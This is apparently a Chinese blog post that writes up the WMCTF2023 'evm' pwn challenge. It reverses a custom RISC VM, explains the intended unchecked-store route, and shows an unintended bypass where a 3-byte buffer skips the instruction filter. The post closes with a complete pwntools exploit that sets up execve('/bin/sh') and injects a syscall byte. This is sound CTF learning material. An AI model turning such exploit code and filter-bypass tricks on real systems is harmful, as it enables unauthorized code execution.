Zj_W1nd's BLOG

WMCTF2023evm非预期

2024/09/16

题目分析

虚拟机,一拖史。逆向上来走了歪路,见识太少没有识别出32个寄存器的RISC架构,反而修错了一个结构体,后面看的很费劲。

主函数看不懂,居然还有时间戳,找到了解析指令的函数但是太过混乱(吃了不懂risc的亏),后续官方wp说是魔改risc才回来重新看的。

虚拟机vm在主函数栈上声明,是一个__int64数组,大小37,前4个用于存放初始化的内存地址,后面32个是通用寄存器,结合指令推进函数最后一个是PC寄存器。因此复原结构体:

1
2
3
4
5
6
7
8
9
00000000 struct vm // sizeof=0x128
00000000 { // XREF: main/r
00000000 void *page_table0;
00000008 void *page_table1;
00000010 void *mem3;
00000018 void *mem4;
00000020 __int64 regs[32];
00000120 __int64 pc;
00000128 };

实在是不想人工看了,指令解析没有再细看,反正是个RISC32,4字节长度实现了一些运算,访存和一小部分的跳转分支指令。

关键点

这里虚拟机运行函数相当于是开了两个进程(就是复制粘贴两个一模一样的,前后两部分代码只有一个参数flag 0 和 1的区别),跟进这个可疑的flag发现,这个标志位参数在这个函数里被调用,对应了两个不同的页:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall calc_page_addr(
struct vm *vm,
unsigned __int64 va,
unsigned __int8 select_table,
__int64 a4)
{
__int64 page_num; // [rsp+28h] [rbp-8h]
if ( va > 0x1FFFFF )
_Exit(1);
page_num = *(_QWORD *)(*((_QWORD *)&vm->page_table0 + select_table) + 8 * (va >> 12));
if ( (a4 & page_num) == 0 )
_Exit(2);
if ( (page_num & 8) == 0 )
_Exit(3);
return page_num & 0xFFFFFFFFFFFFF000LL | va & 0xFFF;
}

仔细观察可以发现两个地址的操作没有任何不同,唯一的不同在于,在解析指令的时候,syscall需要flag为1才能触发,另一个进程不执行syscall。

1
2
3
4
5
if ( (_DWORD)opcode == 0x73 ) // syscall <-we need to be here
{
if ( flag )
return syscall(vm->regs[10], vm->regs[11], vm->regs[12], vm->regs[13], vm->regs[14], vm->regs[15]);
}

但是对于flag为1的那部分指令存储,这里只允许全是0x13:

1
2
3
4
5
6
7
 read(0, buf, buf_size);  // second input using page1
// 只有page1能触发syscall
for ( i = 0; i < (unsigned __int64)buf_size >> 2; ++i )
{
if ( *((_DWORD *)buf + i) != 0x13 )
_Exit(1);
}

那我们就要想办法执行syscall

预期解

预期解是将指令解析逆出来了,发现有一种store不经过我们calc_pageaddr的虚拟地址页表转换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
case 0x2C:
v16 = vm->regs[(instruct >> 15) & 0x1F]
+ (((unsigned __int16)instruct >> 7) & 0x1F)
+ 32 * (HIBYTE(instruct) >> 1);
v18 = vm->regs[(HIWORD(instruct) >> 4) & 0x1F];
v21 = (__int64 *)((char *)vm->mem3 + v16);// 硬编码
if ( v16 > 0x1FFFFF )
_Exit(1);
opcode = (BYTE1(instruct) >> 4) & 7;
if ( (_DWORD)opcode == 3 )
{
opcode = (__int64)vm->mem3 + v16;
*v21 = v18;
}
else if ( ((BYTE1(instruct) >> 4) & 7u) <= 3 )
{
if ( (_DWORD)opcode == 2 )
{
opcode = (__int64)vm->mem3 + v16;
*(_DWORD *)v21 = v18;
}
else
{
opcode = (__int64)vm->mem3 + v16;
if ( ((BYTE1(instruct) >> 4) & 7) != 0 )
*(_WORD *)v21 = v18;
else
*(_BYTE *)v21 = v18;
}
}
break;

预期解是,利用页表0能执行的除了syscall的所有指令控制好寄存器,利用这个立即数写入地址不经过转换的漏洞在页表1写入能够执行的syscall指令,填上0x13绕过检查后执行后面的syscall。题目中在数据段为我们留好了"/bin/sh"字符串,而且也没开aslr,直接拿就行。

非预期

观察上面的循环0x13检查:

1
for ( i = 0; i < (unsigned __int64)buf_size >> 2; ++i )

出题人应该本来想限制i循环次数在bufsize/4以内的,但是这里用了个右移2位的操作(可能是编译器优化或者什么),也就是说,如果buf_size只有2位,这个检查就不会生效了。我们为bufsize输入3,直接就能写入3个字节的code,这里就直接写入syscall就行了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
p=process('./evm')
elf=ELF('./evm')
binsh=0x4050a0
def addi(rd, rs1, imm):
return p32((imm << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7) | 0x13)

def slli(rd, rs1, imm):
return p32((imm << 20) | (rs1 << 15) | (0b001 << 12) | (rd << 7) | 0x13)

def reg_xor(rd, rs1, rs2):
return p32((0 << 25) | (rs2 << 20) | (rs1 << 15) | (0b100 << 12) | (rd << 7) | 0x33)

payload = (
reg_xor(10, 10, 10)
+ reg_xor(11,11,11)
+ reg_xor(12,12,12)
+ reg_xor(13,13,13)
+ addi(10, 10, 0x3B)
+ addi(11, 11, 0x405)
+ slli(11, 11, 12)
+ addi(11, 11, 0xA0)
)

p.recvuntil(b'standard')
p.sendline(f"{len(payload)}".encode())# lenth of code
p.sendline(b'1')
p.sendline(payload)#page0 code here

gdb.attach(p)
p.sendline(b'3')# bufsize
p.sendline(b'1')
p.send(b'\x73\x00\x00')# page1 code(BYPASS!!!)

p.interactive()
CATALOG
  1. 1. 题目分析
  2. 2. 关键点
  3. 3. 预期解
  4. 4. 非预期
  5. 5. exp: